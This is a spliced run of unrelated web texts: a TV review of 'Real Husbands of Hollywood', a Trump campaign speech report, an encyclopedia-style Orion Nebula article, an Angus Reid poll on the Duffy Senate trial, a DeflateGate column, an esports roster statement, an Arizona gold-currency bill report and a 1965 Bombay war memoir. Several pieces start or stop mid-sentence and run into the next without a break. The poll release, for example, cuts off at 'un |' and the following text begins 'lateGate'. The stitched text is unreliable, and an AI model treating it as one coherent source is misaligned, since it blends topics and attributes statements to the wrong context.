But since it also stars a black cast and it airs on Black Entertainment Television, a cable network that mostly caters to black audiences, most of the mainstream media hasn't exactly taken a shine to it. Never mind that the show stars Kevin Hart, one of the most in-demand comedians working today. Instead of playing comedy clubs or theaters, the man plays arenas—and the places are usually packed when he hits the stage. His stand-up specials and concert films have given him a loyal, continually swelling fanbase. His last concert movie, "Kevin Hart: Let Me Explain", which grossed a decent $32 million at the box office over the summer (it was made for only $5 million), making it the fourth highest-grossing stand-up concert movie of all time, showed him performing to a sold-out, racially mixed, Madison Square Garden crowd.
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He's also a viable movie draw. He starred in "Think Like a Man", the ensemble romantic comedy that was number one at the box office for two weeks when it was released last year, eventually raking in a $96 million worldwide gross. In the coming months, you'll see him opposite Robert De Niro and Sylvester Stallone in "Grudge Match", with Ice Cube in "Ride Along", and co-starring in a remake of the Rob Lowe-Demi Moore '80s rom-com "About Last Night".
Once again, you should see Hart's mug on all the magazine covers, not unlike fellow stand-up sensation Louis C.K., whose acclaimed, Emmy-winning FX show "Louie" helped him land covers on Rolling Stone and Entertainment Weekly. Unfortunately, even with web sites like Slate declaring he is the most successful comic working today, I've only seen Hart on the cover of Ebony.
The media neglect of both Hart and "Husbands" further shows why the reality-show sendup (which begins its second season this evening) is a more relevant program than even the people involved with it may realize. As much as "Husbands" (which originally came out of a recurring skit on the 2011 "BET Awards", which Hart hosted) satirizes reality-show ratchetness, the show also satirizes Hollywood—more importantly, how black people stay afloat in Hollywood.
But instead of the show being a black version of "Entourage", with Hart serving as the resident Vincent Chase for this band of brothas, "Husbands" is a black-Tinseltown version of FX's "The League", the improvised malice-fest about a bunch of frenemies who are in a fantasy-football league. However, while the amusingly cold-blooded "League" features of a crew of guys cutting each other off at the knees just to have a killer fantasy-football team, the husbands of "Husbands" are clawing and climbing over each other, mostly in order to gain some sort of prominence in a business that generally ignores them.
Even though Hart and the rest of the husbands on the show—entertainment hyphenate Nick Cannon, comedian J.B. Smoove, actors Boris Kodjoe and Duane Martin and rapper Nelly (who's now a full-time cast member this season)—consistently hang with each other, getting together for weekly card games and socializing with one another at parties, they're far from buddies. These selfish "mitches" (male bitches for short, a put-down the show is constantly trying to put out there in the pop-culture lexicon) are always ready to stab each other in the back, sell their fellow brother down the river or take visible glee in someone else's misfortune, especially if it means a step-up for them.
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Any given episode of "RHOH" has the male characters busting each other's chops on many subjects—the most prominent being their lack of success in the industry. "I'm in a room with a bunch of has-beens!" Hart yelled during one uproariously heated exchange last season, before slamming Nelly for not having a hit song lately and Martin for his lack of TV exposure in recent years. Martin later retaliates: "You'll never be a leading man! Who's gonna play your mini-wife?" Nelly also hits him below the belt with, "As soon as Dave Chappelle comes back from Africa, back to "Comic View" for you!"
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Even though he's the star, co-creator and co-executive producer, Hart isn't afraid to be the butt of most of the show's jokes. Much like in his stand-up, Hart plays himself as a ridiculously pompous yet ultimately insecure, rising young celebrity. Hart's always on the verge of bankruptcy in order to keep up appearances. He lives in a mansion he really can't afford, has an assistant he hardly pays and usually surrounds himself with gold-digging dames who usually suck him dry.
Hart rarely shows love to those who have better careers than he does. He consistently butts heads with workaholic Cannon, sometimes because Hart is carrying a torch for Cannon's wife Mariah Carey (a running gag on the show is that the divorced Hart has a thing for all his so-called pals' wives), but mainly because Cannon is the most successful performer of the bunch. In the first season, he was also at odds with pop/R & B recording artist Robin Thicke for having a dime for a wife and a career to die for. Now that Thicke is a bona-fide pop star thanks to the popularity of his summer hit "Blurred Lines," Thicke didn't have time to do the show this season. (It's just as well, since Thicke didn't exactly have the loose, comic chops needed to hold his own with Hart and these fools.)
It's ironic that "Husbands"'s biggest strength—hilariously highlighting the desperation working black performers exhibit in Hollywood and amongst each other—is also its weakness. Viewers who aren't aware or just don't care about black celebrities and their (mis)treatment in the entertainment industry may not find any of this interesting, even though it is funny. Chris Rock once said, "You can make a million black people laugh, but one white man will make you rich." (Incidentally, Rock will be appearing on "Husbands" this season.) "Real Husbands of Hollywood" has already proven it can make people laugh on a weekly basis. Unfortunately, both the show and the people on it still need important white folk to co-sign for them.
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DisqusDonald Trump gave a historic speech in Charlotte on Thursday where he reached out to black voters, promising to fight for them with better education, public safety, and economic opportunities.
The Republican nominee pointed out that even after decades of voting monolithically for Democrats, black Americans still attend failing schools, live in unsafe neighborhoods and have few economic opportunities.
“Look at how badly things are going under decades of Democratic leadership — look at the schools, look at the 58 percent of young African-Americans not working,” Trump told the crowd. “It is time for change.”
Trump said Democrats haven’t delivered to the black community because they assume they’ll get the votes no matter what.
“Hillary Clinton and the Democratic Party have taken African American votes totally for granted,” Trump said. “Because the votes have been automatically there, there has been no reason for Democrats to produce. It is time to break with the failures of the past, and to fight for every last American child in this country to have the better future they deserve.”
Focusing on economic opportunity, school choice, and public safety, Trump promised black voters that he would be better for their interests because he is not beholden to any special interest, unions, or the Washington establishment. “Jobs, safety, opportunity. Fair and equal representation. This is what I promise to African Americans, Hispanic Americans, and all Americans,” Trump said. The billionaire tried to level with black voters and suggested voting Republican for the first time might help their situation. “What do you have to lose by trying something new?” he asked.
Some prominent black Republicans were very impressed with Trump’s speech and said that the GOP should have making these kinds of speeches for decades.
Seriously fighting back tears. I don't give a damn what anyone thinks. Donald Trump's message is what GOP should've been saying for 60 years — Ali A. Akbar (@ali) August 19, 2016
Watch Trump’s full speech below:The Orion Nebula (also known as Messier 42, M42, or NGC 1976) is a diffuse nebula situated in the Milky Way, being south of Orion's Belt in the constellation of Orion.[b] It is one of the brightest nebulae, and is visible to the naked eye in the night sky. M42 is located at a distance of 1,344 ± 20 light years[3][6] and is the closest region of massive star formation to Earth. The M42 nebula is estimated to be 24 light years across. It has a mass of about 2,000 times that of the Sun. Older texts frequently refer to the Orion Nebula as the Great Nebula in Orion or the Great Orion Nebula.[7]
The Orion Nebula is one of the most scrutinized and photographed objects in the night sky, and is among the most intensely studied celestial features.[8] The nebula has revealed much about the process of how stars and planetary systems are formed from collapsing clouds of gas and dust. Astronomers have directly observed protoplanetary disks, brown dwarfs, intense and turbulent motions of the gas, and the photo-ionizing effects of massive nearby stars in the nebula.
Physical characteristics [ edit ]
Discussing the location of the Orion Nebula, what is seen within the star-formation region, and the effects of interstellar winds in shaping the nebula
Amateur image of the Orion Nebula taken with a Sony Alpha a6300 camera
Orion Nebula and the Running man Nebula with surrounding nebulosity. Composite of narrowband (SII + Ha + OIII) and RGB with an 80mm telescope.
The constellation of Orion with the Orion Nebula (lower middle)
The nebula is visible with the naked eye even from areas affected by some light pollution. It is seen as the middle "star" in the "sword" of Orion, which are the three stars located south of Orion's Belt. The star appears fuzzy to sharp-eyed observers, and the nebulosity is obvious through binoculars or a small telescope. The peak surface brightness of the central region is about 17 Mag/arcsec2 (about 14 millinits) and the outer bluish glow has a peak surface brightness of 21.3 Mag/arcsec2 (about 0.27 millinits).[9] (In the photos shown here the brightness, or luminance, is enhanced by a large factor.)
The Orion Nebula contains a very young open cluster, known as the Trapezium due to the asterism of its primary four stars. Two of these can be resolved into their component binary systems on nights with good seeing, giving a total of six stars. The stars of the Trapezium, along with many other stars, are still in their early years. The Trapezium is a component of the much larger Orion Nebula Cluster, an association of about 2,800 stars within a diameter of 20 light years.[10] Two million years ago this cluster may have been the home of the runaway stars AE Aurigae, 53 Arietis, and Mu Columbae, which are currently moving away from the nebula at speeds greater than 100 km/s.[11]
Coloration [ edit ]
Observers have long noted a distinctive greenish tint to the nebula, in addition to regions of red and of blue-violet. The red hue is a result of the Hα recombination line radiation at a wavelength of 656.3 nm. The blue-violet coloration is the reflected radiation from the massive O-class stars at the core of the nebula.
The green hue was a puzzle for astronomers in the early part of the 20th century because none of the known spectral lines at that time could explain it. There was some speculation that the lines were caused by a new element, and the name nebulium was coined for this mysterious material. With better understanding of atomic physics, however, it was later determined that the green spectrum was caused by a low-probability electron transition in doubly ionized oxygen, a so-called "forbidden transition". This radiation was all but impossible to reproduce in the laboratory at the time, because it depended on the quiescent and nearly collision-free environment found in the high vacuum of deep space.[12]
History [ edit ]
Mémoires de l'Académie Royale Messier's drawing of the Orion Nebula in his 1771 memoir,
There has been speculation that the Mayans of Central America may have described the nebula within their "Three Hearthstones" creation myth; if so, the three would correspond to two stars at the base of Orion, Rigel and Saiph, and another, Alnitak at the tip of the "belt" of the imagined hunter, the vertices of a nearly perfect equilateral triangle[vague] with Orion's Sword (including the Orion Nebula) in the middle of the triangle[vague] seen as the smudge of smoke from copal incense in a modern myth, or, in (the translation it suggests of) an ancient one, the literal or figurative embers of a fiery creation.[13][14]
Neither Ptolemy's Almagest nor Al Sufi's Book of Fixed Stars noted this nebula, even though they both listed patches of nebulosity elsewhere in the night sky; nor did Galileo mention it, even though he also made telescopic observations surrounding it in 1610 and 1617.[15] This has led to some speculation that a flare-up of the illuminating stars may have increased the brightness of the nebula.[16]
The first discovery of the diffuse nebulous nature of the Orion Nebula is generally credited to French astronomer Nicolas-Claude Fabri de Peiresc, on 26 November 1610 when he made a record of observing it with a refracting telescope purchased by his patron Guillaume du Vair.[15]
The first published observation of the nebula was by the Jesuit mathematician and astronomer Johann Baptist Cysat of Lucerne in his 1619 monograph on the comets (describing observations of the nebula that may date back to 1611).[17] [18] He made comparisons between it and a bright comet seen in 1618 and described how the nebula appeared through his telescope as:
"one sees how in like manner some stars are compressed into a very narrow space and how round about and between the stars a white light like that of a white cloud is poured out"[19]
His description of the center stars as different from a comet's head in that they were a "rectangle" may have been an early description of the Trapezium Cluster[15][19][20] (The first detection of three of the four stars of this cluster is credited to Galileo Galilei in a February 4, 1617 although he did not notice the surrounding nebula — possibly due to the narrow field of vision of his early telescope.[21])
The nebula was independently discovered by several other prominent astronomers in the following years, including by Giovanni Battista Hodierna (whose sketch was the first published in De systemate orbis cometici, deque admirandis coeli characteribus).[22]
Charles Messier first noted the nebula on March 4, 1769, and he also noted three of the stars in Trapezium. Messier published the first edition of his catalog of deep sky objects in 1774 (completed in 1771).[23] As the Orion Nebula was the 42nd object in his list, it became identified as M42.
Henry Draper's 1880 photograph of the Orion Nebula, the first ever taken.
One of Andrew Ainslie Common's 1883 photograph of the Orion Nebula, the first to show that a long exposure could record new stars and nebulae invisible to the human eye.
In 1865 English amateur astronomer William Huggins used his visual spectroscopy method to examine the nebula showing it, like other nebulae he had examined, was made up of "luminous gas".[24] On September 30, 1880 Henry Draper used the new dry plate photographic process with an 11-inch (28 cm) refracting telescope to make a 51-minute exposure of the Orion Nebula, the first instance of astrophotography of a nebula in history. Another set of photographs of the nebula in 1883 saw breakthrough in astronomical photography when amateur astronomer Andrew Ainslie Common used the dry plate process to record several images in exposures up to 60 minutes with a 36-inch (91 cm) reflecting telescope that he constructed in the backyard of his home in Ealing, outside London. These images for the first time showed stars and nebula detail too faint to be seen by the human eye.[25]
In 1902, Vogel and Eberhard discovered differing velocities within the nebula and by 1914 astronomers at Marseilles had used the interferometer to detect rotation and irregular motions. Campbell and Moore confirmed these results using the spectrograph, demonstrating turbulence within the nebula.[26]
In 1931, Robert J. Trumpler noted that the fainter stars near the Trapezium formed a cluster, and he was the first to name them the Trapezium cluster. Based on their magnitudes and spectral types, he derived a distance estimate of 1,800 light years. This was three times farther than the commonly accepted distance estimate of the period but was much closer to the modern value.[27]
In 1993, the Hubble Space Telescope first observed the Orion Nebula. Since then, the nebula has been a frequent target for HST studies. The images have been used to build a detailed model of the nebula in three dimensions. Protoplanetary disks have been observed around most of the newly formed stars in the nebula, and the destructive effects of high levels of ultraviolet energy from the most massive stars have been studied.[28]
In 2005, the Advanced Camera for Surveys instrument of the Hubble Space Telescope finished capturing the most detailed image of the nebula yet taken. The image was taken through 104 orbits of the telescope, capturing over 3,000 stars down to the 23rd magnitude, including infant brown dwarfs and possible brown dwarf binary stars.[29] A year later, scientists working with the HST announced the first ever masses of a pair of eclipsing binary brown dwarfs, 2MASS J05352184–0546085. The pair are located in the Orion Nebula and have approximate masses of 0.054 M ☉ and 0.034 M ☉ respectively, with an orbital period of 9.8 days. Surprisingly, the more massive of the two also turned out to be the less luminous.[30]
Structure [ edit ]
Optical images reveal clouds of gas and dust in the Orion Nebula; an infrared image (right) reveals the new stars shining within.
The entirety of the Orion Nebula extends across a 1° region of the sky, and includes neutral clouds of gas and dust, associations of stars, ionized volumes of gas, and reflection nebulae.
The Nebula is part of a much larger nebula that is known as the Orion Molecular Cloud Complex. The Orion Molecular Cloud Complex extends throughout the constellation of Orion and includes Barnard's Loop, the Horsehead Nebula, M43, M78, and the Flame Nebula. Stars are forming throughout the entire Cloud Complex, but most of the young stars are concentrated in dense clusters like the one illuminating the Orion Nebula.[31] [32]
[33] Orion A molecular cloud from VISTA reveals many young stars and other objects.
The current astronomical model for the nebula consists of an ionized (H II) region, roughly centered on Theta1 Orionis C, which lies on the side of an elongated molecular cloud in a cavity formed by the massive young stars.[34] (Theta1 Orionis C emits 3-4 times as much photoionizing light as the next brightest star, Theta2 Orionis A.) The H II region has a temperature ranging up to 10,000 K, but this temperature falls dramatically near the edge of the nebula.[35] The nebulous emission comes primarily from photoionized gas on the back surface of the cavity.[36] The H II region is surrounded by an irregular, concave bay of more neutral, high-density cloud, with clumps of neutral gas lying outside the bay area. This in turn lies on the perimeter of the Orion Molecular Cloud. The gas in the molecular cloud displays a range of velocities and turbulence, particularly around the core region. Relative movements are up to 10 km/s (22,000 mi/h), with local variations of up to 50 km/s and possibly more.[35]
Observers have given names to various features in the Orion Nebula. The dark lane that extends from the north toward the bright region is called the "Fish's Mouth". The illuminated regions to both sides are called the "Wings". Other features include "The Sword", "The Thrust", and "The Sail".[37]
Star formation [ edit ]
Star Formation Fireworks in Orion
The Orion Nebula is an example of a stellar nursery where new stars are being born. Observations of the nebula have revealed approximately 700 stars in various stages of formation within the nebula.
Recent observations with the Hubble Space Telescope have yielded the major discovery of protoplanetary disks within the Orion Nebula, which have been dubbed proplyds.[38] HST has revealed more than 150 of these within the nebula, and they are considered to be systems in the earliest stages of solar system formation. The sheer numbers of them have been used as evidence that the formation of star systems is fairly common in the universe.
Stars form when clumps of hydrogen and other gases in an H II region contract under their own gravity. As the gas collapses, the central clump grows stronger and the gas heats to extreme temperatures by converting gravitational potential energy to thermal energy. If the temperature gets high enough, nuclear fusion will ignite and form a protostar. The protostar is 'born' when it begins to emit enough radiative energy to balance out its gravity and halt gravitational collapse.
Typically, a cloud of material remains a substantial distance from the star before the fusion reaction ignites. This remnant cloud is the protostar's protoplanetary disk, where planets may form. Recent infrared observations show that dust grains in these protoplanetary disks are growing, beginning on the path towards forming planetesimals.[39]
Once the protostar enters into its main sequence phase, it is classified as a star. Even though most planetary disks can form planets, observations show that intense stellar radiation should have destroyed any proplyds that formed near the Trapezium group, if the group is as old as the low mass stars in the cluster.[28] Since proplyds are found very close to the Trapezium group, it can be argued that those stars are much younger than the rest of the cluster members.[c]
Stellar wind and effects [ edit ]
Once formed, the stars within the nebula emit a stream of charged particles known as a stellar wind. Massive stars and young stars have much stronger stellar winds than the Sun.[40] The wind forms shock waves or hydrodynamical instabilities when it encounters the gas in the nebula, which then shapes the gas clouds. The shock waves from stellar wind also play a large part in stellar formation by compacting the gas clouds, creating density inhomogeneities that lead to gravitational collapse of the cloud.
View of the ripples ( Kelvin–Helmholtz instability ) formed by the action of stellar winds on the cloud.
There are three different kinds of shocks in the Orion Nebula. Many are featured in Herbig–Haro objects:[41]
Bow shocks are stationary and are formed when two particle streams collide with each other. They are present near the hottest stars in the nebula where the stellar wind speed is estimated to be thousands of kilometers per second and in the outer parts of the nebula where the speeds are tens of kilometers per second. Bow shocks can also form at the front end of stellar jets when the jet hits interstellar particles.
Jet-driven shocks are formed from jets of material sprouting off newborn T Tauri stars. These narrow streams are traveling at hundreds of kilometers per second, and become shocks when they encounter relatively stationary gases.
Warped shocks appear bow-like to an observer. They are produced when a jet-driven shock encounters gas moving in a cross-current.
The interaction of the stellar wind with the surrounding cloud also forms "waves" which are believed to be due to the hydrodynamical Kelvin-Helmholtz instability.[42]
The dynamic gas motions in M42 are complex, but are trending out through the opening in the bay and toward the Earth.[35] The large neutral area behind the ionized region is currently contracting under its own gravity.
There are also supersonic "bullets" of gas piercing the hydrogen clouds of the Orion Nebula. Each bullet is ten times the diameter of Pluto's orbit and tipped with iron atoms glowing in the infra-red. They were probably formed one thousand years ago from an unknown violent event.[43]
Evolution [ edit ]
Panoramic image of the center of the nebula, taken by the Hubble Telescope. This view is about 2.5 light years across. The Trapezium is at center left.
Interstellar clouds like the Orion Nebula are found throughout galaxies such as the Milky Way. They begin as gravitationally bound blobs of cold, neutral hydrogen, intermixed with traces of other elements. The cloud can contain hundreds of thousands of solar masses and extend for hundreds of light years. The tiny force of gravity that could compel the cloud to collapse is counterbalanced by the very faint pressure of the gas in the cloud.
Whether due to collisions with a spiral arm, or through the shock wave emitted from supernovae, the atoms are precipitated into heavier molecules and the result is a molecular cloud. This presages the formation of stars within the cloud, usually thought to be within a period of 10–30 million years, as regions pass the Jeans mass and the destabilized volumes collapse into disks. The disk concentrates at the core to form a star, which may be surrounded by a protoplanetary disk. This is the current stage of evolution of the nebula, with additional stars still forming from the collapsing molecular cloud. The youngest and brightest stars we now see in the Orion Nebula are thought to be less than 300,000 years old,[44] and the brightest may be only 10,000 years in age.
Some of these collapsing stars can be particularly massive, and can emit large quantities of ionizing ultraviolet radiation. An example of this is seen with the Trapezium cluster. Over time the ultraviolet light from the massive stars at the center of the nebula will push away the surrounding gas and dust in a process called photo evaporation. This process is responsible for creating the interior cavity of the nebula, allowing the stars at the core to be viewed from Earth.[8] The largest of these stars have short life spans and will evolve to become supernovae.
Within about 100,000 years, most of the gas and dust will be ejected. The remains will form a young open cluster, a cluster of bright, young stars surrounded by wispy filaments from the former cloud.[45]
Image gallery [ edit ]
See also [ edit ]
Notes [ edit ]The Duffy trial: Senate scandal testimony threatens Harper’s fortunes among soft Conservative voters
Majority of Canadians say scandal runs deeper than Duffy/Wright; most don’t believe Harper’s version
August 20, 2015 – Days of bombshell revelations and conflicting testimony over who in Prime Minister Stephen Harper’s inner circle knew what, and when, regarding the Mike Duffy Senate expense affair, are bringing bad news to the fight to lock in “soft” Conservative voters in the midst of a federal election campaign.
While the election period has yet to reach the halfway point during these dog days of summer, the criminal trial ofSenator Mike Duffy – a Harper appointee – is indeed capturing the attention of most Canadians – while exposing skepticism about the PM’s version of events. This, according to the findings from the latest Angus Reid Institute public opinion poll.
To recap: Senator Mike Duffy is on trial facing 31 charges of fraud, breach of trust and bribery related to a $90,000 payment from Harper’s former chief of staff, Nigel Wright. This was made to repay Duffy’s ineligible Senate housing expenses. Conflicting testimony has subsequently raised questions over Harper’s version of events around this payment: that only Duffy and Wright – excluding all others – were aware of it. Wright has testified that the plan was conceived in part to minimize political damage to the prime minister. Ultimately however, damage has been done – as evidenced by key findings from this poll. Whether that damage is irreversible remains to be seen.
Key Findings:
Three-in-five Canadians (59%) say they don’t believe Stephen Harper’s version of events
This includes one-in-five (23%) voters leaning towards but not yet totally committed to the Conservative Party of Canada (CPC) when it comes to their voting intention on October 19th
More generally, a majority of all uncommitted voters (59%) reject the Prime Minister’s account
When asked to choose between framing the Duffy trial as a “distraction” from other, more important campaign issues or framing it as evidence of a deeper scandal that will become a key issue in the campaign, fully three-fifths (61%) off all respondents choose the latter
Among those who see a deeper scandal than what has surfaced already are almost a quarter (23%) of leaning but as yet uncommitted CPC voters
That said, the Duffy affair may not yet be a deciding issue in the campaign:
More than seven-in-ten (72%) of all respondents who don’t believe Harper say the scandal is “outweighed by other election issues”
Awareness and Engagement: Are people actually following the media frenzy?
Since Nigel Wright began his testimony in Duffy’s trial earlier this month, the scandal has dominated the news cycle. But are Canadians actually paying attention to the story?
As it turns out, the majority of Canadians (93%) say they are. This total includes:
A quarter (25%) who say they are “following the issue in the news and discussing it with friends and family”
Another one-third (34%) who are “seeing some media coverage and having the odd conversation about it”
The rest who say they’re “just scanning the headlines”
A question of credibility: Canadians see a deeper scandal, reject Harper’s version of events
Harper has maintained that he did not know about Wright’s decision to repay Duffy’s $90,000 expense bill. He has said Duffy and Wright are ultimately responsible for the situation, and are being held accountable.
Harper’s narrative is accepted by roughly two-in-five Canadians (39%), who agree that the buck stops with Duffy and Wright. They are also of the opinion that the scandal is distracting from other, more important issues during the campaign.
The vast majority (61%), however, disagree. For them, the Duffy trial points to a deeper scandal within the Prime Minister’s Office and they see it as an unfolding issue that will be key to how this campaign is decided.
Measurement of this question based on voting intention reveals most committed voters are sticking with their respective camps: overwhelming majorities of locked-in Liberal (80%) and NDP (88%) see a deeper scandal lurking. An inverse proportion (90%) of locked-in Conservatives say the issue ends with Duffy and Wright.
But among uncommitted, leaning voters there is less certainty on this question, and this has the potential to create the most vulnerability for the CPC: one-in-five (23%) “soft Conservatives” see a deeper scandal at play, and don’t think this story’s last pages have been written.
In a separate question, respondents were asked directly whether they believe Harper when he says he didn’t know about Wright paying back Duffy’s expenses. On this question:
Three-in-five (59%) say they don’t believe him, a margin of three-to-one over those (20%) who say they do
The remaining one-fifth (22%) are unsure
Those who say they are certain they will vote for the CPC are much more likely than “soft” CPC voters – those who are uncommitted, but leaning Blue – to say they believe Harper:
Nearly three-quarters (73%) of committed Conservative voters say they believe him
But just over a third (35%) of soft Conservative supporters say the same
The silver lining for the CPC: soft CPC voters are almost twice as likely to say they don’t know if they believe Harper (42%) than say they don’t believe his version of events at all (23%).
It should be noted that this “soft” group is a fairly small sample, and thus subject to a larger margin of error than other results reported here. That said, the gap between their reported belief in Harper’s narrative and that of committed CPC voters is still notable.
Perhaps predictably, those who are planning on or leaning toward voting for the Liberal or New Democratic parties are significantly less inclined to believe Harper. Four-in-five of each of these groups (81% of Liberals and 80% of NDP voters) say they don’t believe him.
But does disbelief in Harper spell disaster for him?
Although most people don’t see Harper as believable on the issue of the Duffy trial, they’re not necessarily planning to base their votes on that belief.
Among those who say they don’t believe Harper, almost three-quarters (72%) think other issues will outweigh the Senate scandal when it comes time to cast a ballot on Oct. 19.
Roughly one-in-six (16%) say the Duffy trial and Senate scandal will not be outweighed by other issues – roughly the same number who said the scandal would be a key election issue when the Angus Reid Institute asked a similar question in April.
Unlike other questions asked in this survey, the question of whether other issues outweigh the scandal isn’t heavily correlated with the party one is inclined to support (see detailed tables at the end of this release).
Politically, is anybody winning on the Duffy-Senate affair?
The Angus Reid Institute also asked respondents whether the Senate scandal and the Duffy affair had changed their opinions on the parties and their leaders.
While majorities say the scandal has had no effect on their opinions of Thomas Mulcair and the NDP, Justin Trudeau and the Liberal Party, or Elizabeth May and the Green Party, most Canadians overall (56%) say it has worsened their opinion of Harper and the Conservative Party.
Indeed, while the effect of the scandal on the CPC’s poll numbers cannot be directly measured, the results of this Angus Reid Institute poll broadly align with those of a recent Abacus poll that showed the Conservatives six points behind the NDP and just three ahead of the Liberals.
Among those who say they plan on or are leaning toward casting ballots for the CPC, seven-in-ten (71%) committed Conservative voters say the scandal has had “no impact” on their opinion of Harper and his party. Moreover, a significant segment of locked in CPC supporters (20%) say the scandal has improved their opinion of the PM.
The news is worse for the CPC among their “soft” voters: on this question, un |
lateGate didn’t affect their relationship is ludicrous, particularly because it has been directly and publicly contradicted by Kraft himself on multiple occasions. If the uncomfortable exchanges between the commissioner and Kraft, Tom Brady and Bill Belichick after their Super LI win weren’t enough evidence of the strain, these comments from the week prior to the game should be:
“I don’t know if it will ever be the same, but in order to do what is best for the Patriots franchise long term, I believe it is best to compartmentalize and move on,” Kraft told The New York Daily News at the time. “Like our quarterback, I am trying to remain positive and look to the future rather than dwell on the past. As a native New Englander, that’s easier said than done, but I am doing my best to put the matter behind me.”
Kraft also had this to say prior to the AFC Championship game, per the New York Times:
“Sometimes, the league really messes up, and I think they really messed this up badly,” he said. “But we’ve all agreed to subjugate our right to disrupt everything. I mean, we can, but we’re a partnership. There’s jealousy, there’s envy, there’s stupidity. Sometimes life is unfair, and you have to suck it up and move on and not use it as an excuse.”
I think we can all relate to the situation on at least some level. Kraft has to maintain a cordial and friendly relationship with the NFL commissioner to ensure that he continues to wield the level of power that he holds among the rest of the owners. He is a cunning businessman first and foremost – and anyone with his kind of wealth and success didn’t earn it without learning to occasionally put their end goal ahead of their pride.
Kraft is absolutely moving on from the entire debacle, especially now that his team has a fifth Super Bowl ring. But Goodell’s claims that there was never a strain on his friendship with Kraft is an outright lie."I leave because i cant afford as much as im supposed to be for wearing the name SK, it means that i cant afford to train 4-5 evenings in the week for 4 hours.
It was my mistake to join SK, i wasnt clear with myself about playing so much in the week.
Furthermore i was supposed to play the toplane in SK, which i didnt enjoy myself and i couldnt stand there over time because im bored there, its not my style i feel like i cant really change the game from there.( Ganks over the map).
The idea of ocelote to change lanes just for me was very generous but i dont see myself authorized to request such stuff after only some weeks. The departure´s reason are the time i cant spend every evening of the week and the unsatisfying toplane role. All i can do is playing in a good team which is not training 4-5 times the week. Also i need to understand that under the name of SK people have their own ambitions, so im definetely wrong here.
All it all it was my fault to join SK, i didnt realize whats comming on me with a team like this, the team is great and i love them all. You guys will do great in future and im sorry that i cant share this way with you guys in the future."
Note: MoMa only wishes to release this one statement.
"Me and my team would really love having MoMa onboard, as we demonstrated with our actions, moves and decisions, but we totally understand that his priorities aren't around eSports. He has to study, and that's one of the most important things in this life.
The whole SK LoL team says Good luck, and Thanks a lot to this exceptional player.
About the team right now, we're gonna test people and see what is the best option. Maybe I move to top if we find an awesome midlaner, maybe I stay mid if we manage to get a good Toplaner.
Farewell, MoMa."
Although Maik 'MoMa' Wallus has only been with SK Gaming a number of weeks, he has announced that he shall have to leave the line-up due to him not being able to commit as much time as is needed.MoMa has released this statement: Carlos 'ocelote' Rodríguez Santiago also wanted to add:The remaining line-up is as follows and the team will now be searching for a new 5th member:Arizona’s Republican-controlled Senate gave preliminary approval on Wednesday to a bill that would make gold and silver legal tender in the state.
According to Capitol Media Services, Republicans who pushed the measure through said they feared the value of the dollar could tank, making the law necessary. While the U.S. Constitution bans states printing their own currency, supporters argued it does not prohibit private organizations from minting gold and silver coins.
If approved by the state House and signed by Gov. Jan Brewer (R), it would give privately minted gold and silver the same legal status to pay bills as federal currency, according to Capitol Media Services. It could also force merchants to keep scales on hand in order to determine value of gold and silver — a point that was mocked by Democratic state Sen. Steve Farley, who opposed the bill. Farley proposed a list of items that could also serve as legal tender in the state, such as cattle, cotton and citrus.
In 2011, Utah became the first state to approve gold and silver coins as legal currency. States such as Montana, Missouri, Colorado, Idaho, Indiana, New Hampshire, South Carolina, and Washington have considered similar measures in recent years.
Correction: This post has been updated to show the Senate only gave preliminary approval to the bill on Wednesday. The Senate finally passed the bill on Thursday.Bombay (now Mumbai), my native city, had always charmed me because of its cosmopolitanism and also because I have had a number of friends and relatives there.
In 1965, a year after I had appeared for my finals for my Master's in English literature, I thought it would be a good opportunity to revisit Bombay. I had already gone there the previous year and had met and interviewed quite a few Bollywood luminaries. A couple of years earlier, I had become the editor of Eastern Film, Pakistan’s largest selling English monthly, and wanted to continue my interaction with more celebrities.
I was merely 22 at the time and my friends had warned me that Pakistan and India had already come to blows in Kashmir and the situation could worsen. I didn’t take the warning seriously because a few months earlier, the two countries were involved in a skirmish over the border between the Rann of Kutch and Sindh, and the conflict had dissipated.
It was in the third week of August 1965 that I boarded the steamer Sabarmati — coincidentally the same ship that had brought me and my family to Karachi way back in 1950 when we migrated to Pakistan. The vessel dropped anchor at Bombay’s Princess Docks.
I spent the first few days watching movies. Thanks to the assistant director of Dilip Kumar’s and Waheeda Rahman’s film Dil Diya Dard Liya, I got the opportunity to see the movie in the mini theatre of Kardar Studios.
Sitting in the row ahead of me was Dilip Kumar himself, who was discussing with composer Naushad the background music, which was yet to be recorded. A.R. Kardar’s name was to appear as the producer and director of the movie but in actual fact it was Dilip Kumar who was calling the shots.
Since India and Pakistan were locked in combat in Kashmir, many Muslims avoided me like a plague.
Naushad, with whom I had a nice chat in his house on my previous trip, avoided me but Dilip Kumar was bold enough to answer a few questions. He promised to see me on his return from Madras (now Chennai), where he was shooting for his movie Aadmi.
But fate had something else in store.
At noon on 6th September, after watching Chaudhvin Ka Chand, I went to producer Irshad Ali’s office to get some stills from his under-production Saaz Aur Awaaz which I wanted to publish in Eastern Film.
Sitting with him were three refugees from west Punjab. When they realised that I was from Pakistan, one of them said: “what are you doing here? Go back to your country. Your President General Ayub has declared war on India.”
Irshad Ali took me to another room on the pretext of giving me the pictures. He told me to go away from the backdoor. “It is in your as also my interest that you disappear from here.”
I tried to leave for Karachi by air, but all the flights between the two countries had been cancelled.
The following day’s papers carried the news that Pakistanis would need exit permits to leave India. Likewise, Indians stranded in Pakistan were to seek special permission before leaving the country they were visiting.
I was staying with an uncle, who spent long hours at his office. His wife was too busy looking after her small kids.
Fortunately, Zuleikha, a school friend from Lahore, where we had spent the first three years after migrating from India, was well settled in a posh area in south Bombay. Her husband, a businessman called Yusuf, often took us out for lunch or evening tea.
One day, he dropped us at the Regal Cinema, close to the Gateway of India, where we were watching an English movie.
Suddenly, the movie stopped and the screen showed a still announcement that there was an air raid and advised the audience to go to the underground car park. “Don’t panic, the staff will guide you,” was the advice. Sure enough, the staff were the first to run.
When, after 16 stressful days, the ceasefire was announced, I thought exit permits would be issued soon, but that proved to be mere wishful thinking.
A couple of weeks after the war ended, I went to a large book store, Taraporewala, which was in those days located near the Museum. A professor at the University of Karachi had asked me to get a vial of eye drops for her father that were made by an old Parsi who worked at the bookstore.
I went to the elderly Parsi gentleman and told him that I was sent by Miss Rhoda Vania. “Oh! You have come from Pakistan,” he said in a tone that reflected his fright.
The next day, a plainclothesman from the CID office came to my uncle’s house and told me that I was to be interrogated.
I thought I was going to be interned.
I picked up the suitcase that I had packed with old clothes and a couple of books on Mr Gandhi. “Why are you taking this? We don’t have residential accommodation in our office,” he said. I felt relieved.
